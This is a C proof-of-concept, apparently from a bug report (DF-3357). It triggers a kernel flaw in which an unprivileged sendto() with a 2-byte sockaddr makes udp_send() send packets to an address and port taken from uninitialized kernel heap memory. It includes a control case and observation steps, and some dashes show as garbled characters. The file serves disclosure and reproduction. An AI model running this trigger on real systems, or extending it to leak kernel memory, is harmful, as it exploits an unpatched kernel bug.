DF-3357 / udp_short_sockaddr.c
/* * DF-3357 โ udp_send() uses an unvalidated user sockaddr as sockaddr_in * (read-before-validate; validation is skipped for sockets bound * to a specific address). * * Trigger: sendto() with tolen=2 (sockaddr = {sa_len=2, sa_family=AF_INET}, * NO address, NO port) on a UDP socket bound to a specific local * address. udp_send() reads sin_addr/sin_port (bytes 2..8) from * the 2-byte kmalloc'd M_SONAME chunk โ i.e., from uninitialized/ * recycled kernel heap โ and emits a UDP packet whose destination * address and port are those stale bytes. * * Control: the same sendto() on a wildcard-bound socket produces no packet * (in_pcbladdr_find() runs and rejects sa_len != 16). * * Observable: tcpdump on the egress interface. On the test guest the * recycled chunk contained 0xFF filler, so the packets went to * 255.255.255.255:65535 โ an address:port the caller never sent. * * Unprivileged (no privileges required). Build: cc -O -o poc udp_short_sockaddr.c */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> static int udp_sock(struct in_addr *bindaddr /* NULL = wildcard */) { struct sockaddr_in b; int s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { perror("socket"); exit(1); } memset(&b, 0, sizeof(b)); b.sin_family = AF_INET; b.sin_len = sizeof(b); if (bindaddr) b.sin_addr = *bindaddr; if (bind(s, (struct sockaddr *)&b, sizeof(b)) < 0) { perror("bind"); exit(1); } return (s); } int main(int argc, char **argv) { struct in_addr spec; char tiny[2]; int A, i, n; /* optional specific bind address, default 127.0.0.1; pass "w" for * the wildcard control */ if (argc > 1 && strcmp(argv[1], "w") == 0) { A = udp_sock(NULL); printf("control: wildcard-bound socket (validation runs)\n"); } else { if (argc > 1) { if (inet_pton(AF_INET, argv[1], &spec) != 1) { fprintf(stderr, "bad addr\n"); return 1; } } else { spec.s_addr = htonl(INADDR_LOOPBACK); } A = udp_sock(&spec); printf("trigger: specifically-bound socket (validation SKIPPED)\n"); } /* the entire sockaddr supplied by the user: 2 bytes */ tiny[0] = 2; /* sa_len */ tiny[1] = AF_INET; /* sa_family */ /* NOTE: no sin_port, no sin_addr โ nothing else is passed to the kernel */ for (i = 0; i < 50; i++) n = sendto(A, "Z", 1, 0, (struct sockaddr *)tiny, 2); printf("50 sendto() calls with a 2-byte sockaddr returned rc=%d\n", n); printf("check: netstat -s -p udp | grep output (+50 expected)\n"); printf("check: tcpdump on the egress interface shows the packets\n"); printf(" with a destination NOT supplied by this process\n"); return 0; } |